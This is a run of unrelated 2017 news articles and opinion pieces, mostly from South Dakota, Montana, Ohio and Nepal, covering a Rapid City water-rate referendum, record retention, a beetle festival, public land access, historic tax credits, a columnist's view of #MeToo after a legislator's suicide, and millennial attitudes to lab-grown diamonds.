Incorporating AIS into annual fishery work-plans; and

Establishing protocols for gear handling by officials, university personnel, commercial fisherman and scientific collectors.

So we arent vectors of transfer, Greiner said.

Lott said members of the fisheries staff have discussed what did and didnt occur this year and offered suggestions for improvements in 2018.
A final decision on whether to raise the price of water usage in Rapid City will be made by Rapid Citians in two months.

At Monday nights Rapid City Council meeting, a special election was set for Feb. 20, after a petition to refer the rate hikes for city water to a public vote was verified by the citys finance office. Increases in the cost of wastewater services are not part of the petition and will go into effect Jan. 1.

Led by Tonchi Weaver of Citizens for Liberty and carried out by a handful of other volunteers, the petition circulation efforts resulted in 2,387 validated signatures. Signatures from 5 percent of registered Rapid City voters, or 2,249 signatures, were required.

On Nov. 6, the council approved rate increases for city water and wastewater services that would cause the water bill of single-family residence to rise between 9 and 10 percent in 2018 compared with 2017. From 2019 through 2022, the rates would increase about 8.5 percent each year. Overall, an average Rapid City households water bill would rise by 43 percent over the next five years.

Currently, a single-family residence pays an average of $30.72 per month for city water, explained Tom Gould of HDR Engineering  the consulting firm hired by the city to study the utility and current rate structure  in November. Those payments were calculated based on an average use of 5,600 gallons of clean water per month. Assuming the usage was the same in 2018, Gould said that rate would rise to $33.74 per month. By 2022, the water bill would be $46.66. The current rates have not increased since 2012.

It was an interesting experience, Weaver said on Monday of the petition circulation efforts, saying she and others would begin posting information on the matter on reformrapidcity.com in the near future.

I myself visited with hundreds of people. They came from all areas of the city. They have a problem with moving to a resolution process as opposed to an ordinance process. We dont think its a very ethical way to operate. They (the people) feel oppressed, betrayed, they feel helpless to do anything about it and they were eager to sign the petitions because at last it seemed they could do something about it.

In November, Weaver expressed dismay at the citys decision to put the citys updated rates and fees into a resolution instead of an ordinance, given the lower public hearing and council approval requirements.

Resolutions require two public hearings  one before the Legal and Finance Committee and another before the full Rapid City Council  while ordinances require two public hearings before the committee and two before the council.

The councils Policies and Procedures handbook labels resolutions as any determination, decision or direction of the governing body of a municipality of a special or temporary character ... .

Water utilities are not special, out of the ordinary or temporary, and I think that is actually kind of sneaky to want to do these rate adjustments through resolutions, Weaver said at the councils Nov. 6 meeting.

At that meeting, city attorney Joel Landeen conceded that part of the reason was to make it easier to change rates, with Alderman John Roberts opining that the difficulty of changing ordinances may have prevented the water rates from rising, which hasnt occurred since January 2013.

In the past, Public Works Department Director Dale Tech has called the citys Mountain View water treatment facility functionally obsolete and stated it will need to be replaced soon, requiring that the city begin to build up its reserves in case of an emergency or ahead of any project to build a new facility. The facility was built in the 1960s and finding replacement parts when something breaks is nearly impossible, Tech has said.

City Operations Management Engineer Dan Coons has also stated that the rate hikes are meant to cover the increased operating and maintenance costs associated with the city services and to raise the citys water reserve and wastewater reserve funds. The city hopes to raise the water fund to $6.6 million and the wastewater fund to $4.5 million by 2022. Currently, they are at about $2 million and $159,000.

With the special election now looming, the water rate hikes will not go into effect on Jan. 1, as was originally planned. However, since the citys wastewater fees are not addressed in the petition, they will become effective Jan.1.

When asked to estimate the cost of the special election, Finance Department Director Pauline Sumption balked at giving a figure before offering that the last special election in March 2015, related to the Rushmore Plaza Civic Center, cost the city about $60,000.

In other action, the council:

 Authorized the city to sign a joint cooperative agreement with Western Dakota Technical Institute after the Rapid City Police Department received a onetime $75,000 microgrant from the Department of Justice to implement the Akicita program, a Native American specific recruitment program. WDTI will administer the program, using the funds to hire one staff member who will recruit and retain law enforcement students with an eye toward Native American graduates. WDTI has agreed to begin the program in early 2018, Rapid City Police Chief Karl Jegeris said, adding that more details on the initiative will likely be made public in January.

 Acknowledged the citys sales tax collections for the month of October, which came in at $2,153,233, a 7.5 percent increase compared with collections in October 2016. For the first 10 months of 2017, collections are up 2.4 percent compared with 2016, at $21,080,478.

 Approved harvesting, i.e. shooting and collecting, 150 deer in wooded areas like Skyline Drive and western Rapid City, near the precipice of the Black Hills, after the citys annual deer trend survey was completed in October. The South Dakota Game, Fish & Parks Department recommended harvesting 150 deer after reviewing the citys deer trend survey results. The meat will be processed and donated to Feeding South Dakota.

 Authorized an agreement between the city and Rapid City Summer Nights that would allow Summer Nights to operate in downtown Rapid Citys right of way from 2018 to 2022.

 Authorized the city to enter into an agreement with the Community Health Center of the Black Hills to contribute $523,406 from the citys Vision Fund toward CHCBHs new consolidated facility, of which a 3,000-square-foot shell space is currently unfinished.
PIERRE | A state senator who is the only announced Democratic candidate for governor told a panel of South Dakota lawmakers Monday he would accept a compromise on how long state government records should be kept.

South Dakota doesnt have a state law establishing a minimum period for retaining records. Instead state law designates a state board to set regulations.

The Legislatures Government Operations and Audit Committee met a dead end this year as its staff searched for old records from the GEAR UP program.

Senate Democratic leader Billie Sutton, of Burke, is a member of the committee and is running for governor in 2018. Sutton declared several months ago he would pursue legislation in the 2018 session to require records be kept for a definite number of years.

Since that time, however, Sutton has met a dead end, too.

According to what Sutton recently told the Journal, the Legislative Research Council staff raised the barrier. Sutton said an LRC official told him he couldnt release emails from his Senate account until each message was checked for information that otherwise would be private under South Dakotas public record laws.

The private information then would be redacted, Sutton said.

GOAC legislators invited Scott Bollinger to testify Monday. He is commissioner for the state Bureau of Administration and operates what a government website identifies as the state Board of Record Retention.

Bollinger said state law specifically provides for what he described as a records-destruction board. The board, whatever its correct title, met last week.

Sutton asked how often records were retained online and whether more could be retained longer.

We looked at some data and there are fewer boxes coming to the records center," replied Bollinger, adding that it was my supposition that agencies were keeping more records electronically.

Sutton asked if the state board could suggest more electronic record keeping. Bollinger said he didnt know whether the board told agencies they could do more electronically.

Last weeks meeting marked the second year Bollinger was in charge of the bureau and the board.

Sutton asked about the cost for more electronic storage, and Bollinger said the state Bureau of Information and Telecommunications handles all of the electronic data, and the cost would vary by servers and other factors.

Sen. Justin Cronin, R-Gettysburg, said state Department of Social Services officials might have some idea. Cronin said female prisoners started handling electronic records for the agency at some point years ago, although he wasnt sure about the date.

But I know it happened and it was a good deal, Cronin said. He wanted to know the retention cost for electronic storage and turned the question to Sutton.

Sutton evidently didnt know or didnt want to answer. Sutton instead said he wants to explore through BIT and some of the committee members to find a compromise.

Sutton said he hoped there is some similar frustration by other legislators in their inability to look back, based on their experience with GEAR UP. I would be willing to work with you on what makes sense, he told the committee.

Sen. Deb Peters, R-Hartford, asked Bollinger whether the paper and electronic requirements were similar. She is co-chair of the committee.

They wouldnt change the time frame, but they might change the plateau on which it (data) sits, Bollinger said about the possible differences.

Bollinger said a record is a record, whether its paper or electronic, and the law applies the same. He repeatedly referred to a standard of one year in the office and three years in record storage.

Cronin asked when South Dakota began retaining records electronically and whether it could be used across all departments.

If Bollinger knew the answer, he didnt give it. He said some of the records kept in state agencies where he previously worked might have records dating eight to 10 years.

I know  the exciting realm of record retention, Peters said.
The difficult days of the "Great Bark Beetle War" that started in 1996 and is just now ending will be celebrated in Custer, SD January 20, 2018 as it has for the past six years; with the Festival of the Burning Beetle and Bug Crawl. Every year more people come to help Custer pay tribute to the menace that so dramatically changed the landscape of the Black Hills, despite our best efforts.

The beetle festival was the brainchild of members of the Custer Arts Council to help communities deal with the emotional loss of so much remembered history. After all, we love the forests we are born in or used to. Dramatic changes are hard on people and systems. Our forest changed rapidly and relentlessly and is still changing. Major wildfires and other issues lurk just over the horizon.

While the timber industry, firefighters, and private landowners worked year-round to stem the tide, reducing fuels and thinning or spraying trees, people had no where to turn to express frustration or grief or other emotions common to losing something important.

The solution: Have a party. Burn a giant beetle in effigy. Have live music, a variety show, and light up the January night with fireworks on a grand scale. Bring some part of the spirit of Burning Man to the Black Hills.

With the active and direct assistance of the many volunteers, local government people, the fire department, and business owners, the festival is now in its sixth year and will not end anytime soon, according to organizers. While the festival does not make much money, selling lanyards for event venues, t-shirts, hats and even torches used to burn the beetle, all keep the project rolling.

A Request for Proposals has just been issued to artists across the region asking for bids to install a permanent art exhibition to be a lasting symbol of the massive landscape changes that are part of the cyclical natural processes at work in our forest home. Artists who respond to the RFP will be feted the day before the festival and the winning entry will be the center of several years of money-raising efforts, organizers said.

Spokesman Hank Fridell of Custer said the permanent art installation, under the auspices of the Custer Arts Council, would serve both to tell the story of what happened here from 1997 to 2017, and to alert future generations about the inevitability of the next outbreak. The art will be a historic benchmark and memorial for people decades from now who find themselves in a life-changing bark beetle attack, as they surely will, he said.

Planned events on January 20 include the variety show, beginning at 3:30, followed by the torch parade to Pageant Hill, site of the Burning Beetle and fireworks, and lighting the fuse, this year by Julie Oswald, a local philanthropist and valiant beetle fighter for many years on her hundreds of acres of private forestland. The fireworks show, provided by the Custer Volunteer Fire Department, is a highlight of the night and a great backdrop for the Burning Beetle, Fridell said.

Following the Burning Beetle, the public is invited to downtown Custer where eight major businesses will provide venues for food and live music.

National Geographic magazine covered the Burning Beetle in 2014 in a story about the bark beetle problem across about 50 million acres of the West and Canada. The pictures of the festival and the community response caught the attention of researchers and others interested in how people deal with major disasters like hurricanes and wildfires. Research is on-going, and so is the Burning Beetle.
GOOD: Black Hills Works has been a pillar of our community for years and they are in need of a little help. The support organization for people with disabilities, launched a $10 million fundraising campaign to expand their services. Black Hills Works already supports about 630 adults with disabilities and employs more than 500 people but they say there is still room to help more. Each year, the nonprofit faces a financial gap of $1.5 million. Amazingly, Black Hills works is already half way to their goal after announcing the "With Purpose," campaign at their November gala. Consider donating to this worthy and good cause.

BAD: As the smoke clears we will begin to assess the damage of the Legion Lake Fire. The blaze burned nearly 85 square miles and is the third largest in recorded history for the Black Hills. Strong and unpredictable winds caused it to erupt from a relatively contained fire to one that forced evacuations all over the southern Black Hills. On top of the land burned, livestock and building were also lost for multiple ranchers in the area. Unlike the charred landscape, spring will not bring those animals or buildings back. Those ranchers will need help in the form for hay donations, labor and money to get back on their feet.

Custer State Park is optimistic about animal loss during the fire but did say several of their park favorite begging burros did receive burns because of the fire. Veterinarians are tending to those now. Even as spring brings green grass, the memories of this massive and devastating blaze will be stick with dozen of people for years to come.

UGLY: The Black Hills have enough to worry about without the rise of another deadly drug. Meth has wreaked havoc in the area for years, but now it appears heroin may also be becoming more prevalent Data from the Rapid City Police Departments Evidence Section bares that out. This year, the lab has analyzed 39 specimens of heroin compared with 31 last year and 12 the year before that. In 2011, the lab only had two cause of heroin. This drug is becoming more prevalent in the Black Hills and we need to be ready. Earlier this month, Ryan Rief, 21-year-old Rapid City man, was sentenced to eight years in prison for giving heroin to a woman who overdosed on the drug and died. But, the fight against heroin will need to come on multiple fronts. Giving harsh sentences to these drug dealers, like the one to Reif, is a must but there is more to be done. We need to find help for people dealing with opioid addiction and turning heroin as a result.
As the #MeToo movement gained momentum the past several weeks -- and more than a dozen powerful men accused of sexual misconduct were suspended, fired or banished into the outer darkness, it was reasonable to wonder where it would all end.

On Wednesday afternoon, it ended for Kentucky state Rep. Dan Johnson on a remote bridge, where he shot himself with a .40-caliber handgun. In an apparent suicide note posted (briefly) on Facebook, he wrote: "GOD knows the truth, nothing is the way they make it out to be . . . I cannot handle it any longer. . . BUT HEAVEN IS MY HOME."

Johnson was referring to accusations published two days earlier by the Kentucky Center for Investigative Reporting that he had fondled a 17-year-old friend of his daughter during a New Year's Eve sleepover in 2013. According to his accuser, now 21, a drunk Johnson slipped his hand under her top and down her pants as she was sleeping on a couch. She begged him to stop, which, ultimately, he did.

Assuming the woman's story is true, Johnson's actions were reprehensible, made more so by the fact that the girl considered him "a second dad." The betrayal of a trusted adult is a higher order of evil. The circumstances of the alleged event magnify the drama and invite condemnation seasoned with relish. The woman, whose identity is being protected, said the incident occurred at the "Pope's House," a fellowship hall next to the Heart of Fire Church where the well-known Republican was the self-anointed "pope" to his congregation.

Even with all of that, however, didn't Johnson have a right to some sort of dispassionate hearing? It is convenient to think he was too ashamed to withstand what would lie ahead for him. Or, one could believe, as Johnson hoped people would, that things didn't happen as described. That's the trouble with weighing allegations of years-old behavior in the court of public opinion. Given that the statute of limitations precludes indictments in many of these recent cases, we're left to decide for ourselves whether the accusers are telling the truth -- or enough truth to be convincing.

An accusation isn't a conviction or even an indictment, of course. Yet, the Draconian actions we've witnessed as each case comes to light have provided cause for concern even in the most despicable of alleged offenses. We've rather quickly moved away from a society that embraces the suspension of judgment pending a fair trial to one in which subjective opinion -- or fear of financial repercussions -- justifies harsh sentencing.

Why have a jury-trial system at all if we're comfortable passing judgments derived primarily from common sense-based calculus. This we know about common sense: Everyone considers theirs to be of higher quality than mine or yours. During the past couple of months, we've all become rather expert in dispensing verdicts, which seem to go something like this:

When several women tell similar stories of sordid encounters with the same individual, then we deem the accusations true. This was the case with Hollywood mogul Harvey Weinstein, who admitted to some of the charges. When only one accuser is involved, we tend to give the accused some benefit of the doubt. It's when only three or four victims come forward with similar tales that we begin to hear terms such as "credible accusations" or "credibly accused."

"Credible" accusations brought down Alabama Senate candidate Roy Moore after The Washington Post conducted an extensive investigation into allegations against him. There's no proof of anything, of course, but there was enough corroboration from other people interviewed to suggest a strong likelihood that the women were truthful.

Even if one believes all the women who have come forward thus far, there's room for some self-doubt in our individual rushes to judgment, as well as our participation in social media's ruthless, often-anonymous dispensations. We're on new ground these days when everyone occupies a seat of infinite power. Thus, it may be impossible to mitigate the effects of a determined mob, especially given a zeitgeist poised to assume the worst of men and the best of women. This shift in the balance of power may feel justified at some level, but this, too, should give one pause.

Should every man who has ever made an unwelcome advance on a grown woman be ruined? In instances of poor judgement or reckless behavior, is there no punishment short of firing?

It is notable that "shame," so long out of vogue, is in these most modern of times making a comeback, indeed, with a vengeance. Johnson's suicide reminds us that the best of causes conducted without the usual rules of law can lead to disastrous, even fatal, consequences.
Democratic Gov. Steve Bullock and Rep. Alan Doane (R-Bloomfield) praised a new program Monday to increase access to public lands.

Doane carried a bipartisan bill in the last legislative session to form the Montana Public Land Access Network, or MT-PLAN. The network creates a mechanism for the state to take donations for creating or improving public land access via private easements and funding other projects to facilitate access.

In Montana we have a rich history of coming up with collaborative, innovative ways to conserve, protect and open up access to our public lands, Bullock said. Were blessed here in Montana to have access to millions of acres of public lands, but theres always more that we could do to increase that access. Legal access to public lands is essential to present and future generations of Montanans from all walks of life.

MT-PLAN takes private donations, and will also get funding through an opportunity to donate when purchasing a conservation license. The easements must be approved by the Montana State Land Board and are enforced by the Montana Department of Natural Resources and Conservation.

Along with Montanas heritage of public land use, access is important economically, as evidenced by a report from the Outdoor Industry Association identifying $7.1 billion in consumer spending in the state and more than 70,000 jobs, Bullock said. But about 2 million acres of public land remain inaccessible, he added.

Doane praised the unity surrounding MT-PLAN and quoted the Declaration of Independence, saying in part that he sees the program as an appropriate role of government in protecting liberty and the pursuit of happiness.

It advances the free market principle of a willing seller and a willing buyer, and it doesnt use any tax dollars, he said. It doesnt take away the sweat of someone elses brow to give it to the pursuit of someone elses happiness.

DNRC Director John Tubbs noted that the funding is limited to access projects and cannot be used for litigating access. The program doesn't necessarily target high-cost conservation easements, but fills a likely niche of less expensive agreements such as a right-of-way for a road.

Mark Lambrecht from the Rocky Mountain Elk Foundation was on hand to donate $25,000 to MT-PLAN, and he challenged other organizations to donate.

The Montana Wilderness Association, Montana Conservation Voters, Montana Wildlife Federation, Backcountry Hunters and Anglers, and Boone and Crockett Club have also pledged support, according to the governors office.

DNRCs public access specialist Ryan Weiss said that any individual or organization can apply as a proponent of a project for grant funding consideration. The state expects a call for grants to go out early next year and a potential for the first grant awards by mid to late 2018.

More information is available at http://dnrc.mt.gov/divisions/trust/mt-plan.

While other programs such as Habitat Montana focus on wildlife habitat through land purchases or hunting access through easements, MT-PLAN is more broadly oriented to recreation access, Weiss said. The state does not yet have a current list of projects under consideration.

The next step is getting word out to landowners and individuals working with landowners, he said.
GREAT FALLS  A wildfire fueled by high winds and dry conditions ripped through Glacier County, in what experts call an "unusual" occurrence for this time of year.

The Great Falls Tribune reports Blackfeet Fire Management fire investigator Carter Gallineaux says the blaze, which burned northwest of Browning on Sunday afternoon, is unusual for December. He says usually there is snow on the ground but there hasn't been any significant moisture in at least the last 30 days.

An unoccupied trailer home was lost in the fast-moving blaze, which was controlled as of Sunday evening.

Gallineaux says the fire looks to be human-caused, perhaps sparked by a discarded cigarette or parked vehicle.

A high wind warning was in effect until 11 a.m. Monday.
U.S. Sen. Steve Daines is being accused of granting China favors that are hurtful to Tibet, following a business agreement between Montana cattle ranchers and China e-commerce giant JD.com.

In an opinion piece published online Sunday in the Washington Post, columnist Josh Rogin suggested that Daines, R-Mont., had returned a favor by the Chinese Embassy on Dec. 5 by hosting delegates of the Chinese Communist Party during a Washington, D.C., visit. Chinese Premier Cui Tiankai brought commerce officials to Montana earlier this year to meet with farm and ranch groups. That meeting launched talks that lead to a beef sale.

The Communist Party delegates were in town at the same time as the exiled president of Tibet. Rogin asserted the Communist Party visitors were in town to eclipse the visit of Lobsang Sangay, the exiled Tibetan leader.

The columnist said Daines hosting the delegation was at least worth the $200 million in Montana-sourced cattle JD.com agreed to purchase. However, near the bottom of his column, Rogin noted there was no evidence of any quid pro quo or illegal behavior by Daines.

Daines said Monday that turning the Chinese Embassy down wouldnt have accomplished anything.

It may feel good to refuse meetings, or put on theatrical hearings to empty rooms, or issue inflammatory press releases. That may win applause from columnists who are trying to prove their own theories, but it doesnt make a difference in the daily lives of hardworking Americans, Daines said in an email.

Sangay was in town for a Dec. 6 hearing by the House Foreign Affairs Subcommittee on Chinese suppression of Tibet. Rogin accused Daines of protecting China from accountability on human rights issues and prolonging the suffering of Tibetans.

Daines is a member of the Congressional Executive Commission on China, said Marcie Kinzel, the senators communications director. That commission has identified Chinese human rights violations in Tibet annually.

Sen. Daines has substantial concerns about the widespread, systemic and persistent violations of religious liberties and human rights that are taking place in Tibet, Kinzel said. As a member of the Congressional-Executive Commission on China, he is working to highlight these abuses and advance human rights in China and around the world.

Not long after the September meeting arranged by Daines, JD.com officials met with rancher Fred Wacker and MSGA Executive Vice President Errol Rice. The parties signed a memorandum of agreement.

The terms were later unveiled in Nov. 8 as part of a $280 billion package of deals finalized during a visit to China by President Donald Trump. The beef deal was the smallest in a micro-trade package that included $37 billion in aircraft business for Boeing and a $43 billion investment by China in an Alaskan natural gas project.

Under the beef agreement announced in November, Montana ranchers will supply $200 million worth of Montana-sourced beef to JD.com beginning in January 2018 and continuing through 2020. At a minimum, JD is expected to buy 80,000 to 90,000 cattle. Chinese investors will place an additional $100 million in Montana feedlots and a packing plant.
75-public-square-facade.jpg

The largely empty 75 Public Square office building will become apartments over ground-floor retail, in a project aided by state historic preservation tax credits announced Tuesday.

(Michelle Jarboe/The Plain Dealer)

CLEVELAND, Ohio -- It's a story of haves and have-nots on Public Square, where one former office tower grabbed valuable state preservation tax credits Tuesday while another - the landmark Terminal Tower - did not.

The Ohio Development Services Agency announced $28.4 million in awards for 22 historic buildings, including eight projects in Northeast Ohio. The 75 Public Square office building in downtown Cleveland won the single largest award, of $5 million, to support a $40 million revamp as 119 apartments above street-level retail.

A planned partial residential redevelopment of Terminal Tower, meanwhile, missed out. But the developer says he still plans to start construction in the spring to add 300 apartments to the office building, the second-tallest structure downtown.

The other winning local projects included the first beneficiaries of the popular state program in Amherst and Cleveland Heights.

For Millennia Companies, which owns 75 Public Square, Tuesday's award marked the end of a protracted quest. The building failed to secure credits in four previous rounds.

This time, the apartment owner and developer couched the redevelopment project as part of a broader district that includes Key Center, the office-and-hotel complex that Millennia bought early this year. Tenants at 75 Public Square will have access to facilities at Key Center, including a new fitness center and parking.

"We're very grateful for the award," said Frank Sinito, Millennia's chief executive officer. "We've been working on this for a number of years now. ... There was a point in time, prior to Key Center, where I was actually under contract to sell the property to a hotel operator, and it was a mid-priced hotel. Once we were awarded Key Center, I really changed my plans."

Development manager Tom Mignogna said Millennia is taking more of a "campus approach" to its presence on Public Square, even though 75 Public Square and Key Center aren't physically connected and Key Tower itself doesn't quality for historic tax credits.

Peter Ketter of Sandvick Architects, a Cleveland-based firm working with Millennia, said it's not uncommon for developers to include new or non-historic buildings in their applications, as a contributor to the economic oomph of a project.

Construction could start in late summer or early fall, and the apartments - which Sinito described as "luxury" housing - are likely to open in late 2019 or early 2020.

Across the square, undaunted, the K&D Group still plans to push ahead at Terminal Tower. Forest City Realty Trust is scheduled to move its headquarters out of the building and into Key Tower in the spring, making room for housing to nestle on the historic office tower's lower floors.

Terminal Tower missed out on state historic tax credits for a partial residential-redevelopment project, which would add roughly 300 apartments to the office building's lower floors. The K&D Group, the tower's owner, could reapply in the spring.

Doug Price, K&D's chief executive, said he's disappointed that Terminal Tower did not make the cut for credits - for the second time in a row. "If this isn't the most historical building around, what is?" he asked.

The state allocates a limited pool of credits twice a year. Applications are fiercely competitive. The credits don't flow to a project until completion, but having a commitment allows developers to secure interim financing or up-front equity.

K&D might reapply for credits in the next round, which will be awarded in June.

Meanwhile, though, Price is pursuing other sources of funds, including a state loan for asbestos removal and a sales-tax exemption on construction materials through an economic-development program administered by the Cleveland-Cuyahoga County Port Authority. And K&D is likely to put more equity into the project, at least short-term, to bridge the financial gap.

"We're not going to wait," Price said.

Northeast Ohio's other tax-credit winners are:

The College Club of Cleveland's longtime home, an early-1900s mansion and carriage house on Overlook Road in Cleveland Heights, is slated to become 14 apartments, with new townhouses next door.

The College Club in Cleveland Heights: WXZ Development bought the mansion on Overlook Road in September and plans to turn the historic house and carriage house into 14 apartments.

Thirteen for-sale townhouses could rise on the adjacent property. The $12.4 million project secured $1.23 million in credits.

The Grossman Paper Box Co. building in Cleveland: Owner Thomas Unik plans to redevelop the vacant office building, at the northwest corner of Superior Avenue and East 18th Street, as 49 apartments in a $10.8 million project. The property, another repeat applicant for credits, won a $1.07 million award.

The Hilliard Block in Cleveland: The Warehouse District's oldest building and, by some accounts, the oldest building downtown, the Hilliard Block dates to 1849. It's the sole survivor on a stretch of West Ninth Street where other historic structures were replaced by parking lots.

The upper floors of the Hilliard Block will be renovated for small apartments, which could serve as short-term rentals under plans being discussed by the developers and a neighborhood group.

Two brothers purchased the three-story building in 2015 and plan to convert the vacant upper floors into 18 small apartments. A dentist's office will stay put on the first floor. The $2.2 million project won a $250,000 credit.

The one-bedroom apartments could serve as short-term rentals, augmenting the lodging options in the neighborhood, said Tom Yablonsky, executive director of the Historic Warehouse District Development Corp.

"The vision of the housing product is quite unique," he said, adding that the nonprofit group and the developers still are sorting through the details.

St. Vladimir Ukranian Orthodox Church in Cleveland: The church, on West 11th Street in the city's Tremont neighborhood, will become offices for Olympic, a Cleveland-based pallet company. The $2.3 million project won a $249,999 credit.

Dorn School of Expression in Cleveland: The onetime residential building and performing-arts school, at 7306 Detroit Ave., will be revived as four apartments and two retail spaces. The $1.8 million project won a $249,999 credit.

The Fox Buick Sales Building in Cuyahoga Falls: The former automotive showroom on the first floor of this two-story building will be renovated for Ohio Brewing Co. The $1.8 million project also involves improvements to the apartments upstairs. Part of a more expansive effort to liven up buildings along Front Street, a former pedestrian mall, the project won a tax credit of $249,000.

Amherst's Central School: This former school building, constructed in 1907 and vacant for more than three decades, will become a 40-bed assisted living facility managed by Sprenger Health Care Systems. On Church Street, the complex includes a gymnasium with a walking track, which will be repurposed as a dining room, said Heather Rudge, a preservation consultant working on the project.

The $12.2 million redevelopment also missed out on credits in prior rounds. This time, it won nearly $1.5 million. Without the credits, Rudge said, the building was likely to be demolished.
KANCHANPUR: A campaign has been launched recently to dismantle Chhaupadi sheds throughout the Bedkot Municipality of Kanchanpur district.

The campaign initiated by the Conflict Victim and Single Women Development Centre, a local NGO, in coordination with Bedkot ward office, dismantled more than four dozens Chhaupadi sheds in wards 1 and 2 of the municipality.

Chhaupadi  an outlawed practice in Nepal, specifically in the far west Hindu communities, that banishes women to a shed during menstruation and after child birth deeming them impure  is criminalised by the government.

Chhaupadi is an ill practice that is outlawed in the country, said Sita Bohara, Chairperson at the Centre, adding that the campaign to end this practice has started in a bid to make Bedkot, a Chhaupadi shed-free municipality.

People from all walks of life have come out and joined the campaign including the Ward Chairs of 1 and 2 Wards, Hari Giri and Naresh Bahadur Singh respectively.

The sheds should be torn down for the safety of women, said Hari Giri, Chairman of Bedkot-1.

Meanwhile, an awareness programme has also been held, while a committee has been formed to end the practice at each local level.RSS
The sensibilities of the millennials have undergone a drastic transformation in recent times across countries. For them, the wedding is for one day, but they have a whole life to take care of it financially. So, it really does not matter to them whether the ring has an expensive mined diamond or some other stone. To be exact, some of them don't even see a need for a ring. The price is what matters most and has to be reasonable for millennials. Besides, its not about investment anymore, but the design and the eventual look of the ring.

While many jewellers across continents are convinced that lab-grown diamonds are the future, debates rage among many others who persist that mined diamonds (or the real diamonds) will survive the onslaught of artificial diamonds, as they have the many years of love and admiration for the gem to fall back on.

Of late, millennials have been the focus and their opinion has been of great importance as they are the jewellery buyers of today and the near future. In the natural versus lab-grown diamonds debate, one may come across arguments that synthetic pieces are more sustainable than mined counterparts given the many plus points of lab-grown diamonds that go with the sensibilities of youngsters when it comes to choosing mined diamonds vs lab-grown diamonds.

The following is garnered from social media/internet blogs showing reactions of millennials when asked if they would propose with an artificial diamond ring.

Takae

I think most wouldn't give a fig. They're likely care more about the fact they're asked to enter a lifetime commitment with the one they're in relationship with.

St Dabeoc

Surely, it's an opportunity to spend the same money, and get a really big one? and if your beloved sends it off for laboratory analysis, well there's some food for thought also :)

Moleskin

There's also the argument that they're more ethical, no blood diamonds and the like.

Seaside lady

Speaking from a female point of view - I don't know how they compare in cost to real mined diamonds, but I would rather my ring be made of real stones. I would gladly go for a beautiful second-hand ring with decent sized and valuable stones than a new fake one.

Netcurtains

I'm happy with pretend diamonds. I'm not an expensive type of woman.

Shrike

They are real diamonds, just that no-one has had to risk their life for them! Sadly its not posible to grow them very big yet, so for that sparkler as big as a hens egg, you'll still need to find a wild one.

luckylila

If the ring is what matters when you are deciding whether to spend the rest of your lives together, then there's something seriously wrong. My hubby proposed with no ring. We went and bought one together the next weekend and it cost less than 100. The ring doesn't matter - the commitment does.

Grumpyscot

Agrees with luckylila & adds: Totally agree. But some people are just pure materialistic, and believe that things like real stones, latest Apple gadgets, having 2 Mercs in the driveway of their half a million semi (with swimming pool) is all that matters. True love means still being in love when you haven't a penny between you.

Plucky-Optipus

I don't think the mined or lab aspect of the diamond matters in the slightest. I personally hate diamonds and as such. I have a sapphire, which is my favourite stone. I also have tiny fingers so anything too big would look silly. Would I care if the ring I have is mined or lab, not in the slightest. It's the perfect setting with the perfect stone. Only gripe is it's in a high setting which makes glove wearing hard, but that's the only problem with mine.

It is even said that millennials are surely looking at lab-grown diamonds as a better choice than mined stones. This is supported by the fact that many jewellery brands of good standing have of late introduced lab-grown diamonds into their jewellery range due to the added sustainability they offer.

In recent times, many jewellers claim that the response has been very strong from especially millennials as synthetic diamonds are environmentally-friendly, socially responsible and better value for money. The jewellers' contention is that when it came to quality, artificial diamonds are atomically exactly the same as type IIa diamonds, sparkle exactly like real diamonds and cost less as well.

According to sources, many jewellers in Canada are reportedly doing good business with their artificial diamond collections as the jewellery come laser-marked with a lab-grown certificate. Jewellers who offer their customers a choice between artificial and natural diamonds are being ethical by selling both real as well as lab-grown diamonds, by offering certificates for both, where the customers are convinced and not feel cheated.

A few years ago, in a study done in US, 55% of people, who were asked 'Would you buy a lab-grown diamond?', said 'Yes'; 19% said 'No, only natural diamonds for me'; 23% said, 'Depends on the cost of the jewellery piece; and 3% gave 'other' info.

Therefore, driven by social responsibilities, it was important for the brands to garner support from customers for the synthetic range. Observers in the USA are reportedly claiming that 50% of inventories in the multiple jewellery outlets will be lab-grown by 2020. Lab-grown diamonds are understandably posing a threat to big miners, who are unnerved having to compete with cheaper, cleaner lab-grown diamonds.

In India, the present/third generation youngsters belonging to traditional real diamond companies, have entered the synthetic diamond business. This trend threatens to shake up the $80 bn natural diamond jewellery market, built over the years on notions of love, marriage, and eternity.

Pro-synthetic-diamond jewellers insist that better quality, less cost and smaller carbon footprint of artificial diamonds are more attractive to millennials than mined stones. Lab-grown diamonds, which are currently only about 2 percent of supply, are expected to reach 10 percent by 2030 worldwide. Some analysts feel the growth is bound to be faster and become a real threat to the natural diamond producers. With artificial diamonds increasingly being considered pure, more affordable substitute, the real diamond industry may be hit hard in the coming years.

If lab-grown diamonds will be available in plenty and demand for them will increase, mining companies may defer exploration and mining, as spending huge amounts for a product that might not uphold prices in the long run is risky. However, the success of synthetic diamonds depends especially on the millennial generation, as well as on how the natural diamond industry responds to the threat. To begin with, winning the marketing war - especially among millennials - is of utmost importance. DPA's Real is Rare has to do miracles in the next few years to survive the rather disturbing times that's coming our way.

As early as 2010, when millennials were contacted to get their opinions on lab-grown diamonds, the Internet threw up this:

lily25

I'd accept a tin ring from a coca cola can from my darling husband. Diamonds are just pieces of charcoal compared to true love!

Cates

Agrees with lily25 & adds No diamond compares to finding the true love of your life.

Hellokatiegirl

Agrees with lily25 and adds 'I would not have cared if my husband could not have afforded a real diamond for my engagement ring. In my opinion, people get too concerned with the ring and the wedding day and sometimes do not focus on the marriage or the person they are marrying. Now, if someone tried to pass off a fake ring as real, that would bother me because of the lying aspect. My personal opinion is that I would want a colored gemstone ring or perhaps no ring at all if we couldn't afford a real diamond. I just don't like things that are fake.

Shofle

It would depend upon his intentions behind it. Is he poor and can't afford a real diamond? Then of course I would. If he's just cheaping out though or not putting any effort into it then the ring is meaningless and no, I wouldn't want it. Whatever ring I would get should be chosen with love and given in the same manner.

Blyen

Are you talking about a simulant or a real lab created diamond? cause that's a REAL diamond, just grown in the lab instead that in nature. And they are not exactly cheap either. I would accept it without any doubts, it's a diamond!

Swhite9290

I wouldn't have a problem with it, as long as it wasn't trying to be passed off as "real". I'd like to know that it was lab created but it wouldn't make a difference as far as if I accepted it or not. To me, the meaning behind it is what counts. I'd take a Ring Pop if it was heartfelt!

MissD

A lab grown diamond is still very expensive. However, the grown ones are often made into fancy colored diamonds so that's the allure there? It's a diamond nonetheless but had help from man to grow. Nothing fake about the result, other than the process I guess!

Bagsnob

Lab diamonds are real diamonds. I would accept one without a doubt but they are not cheap.

Hekate

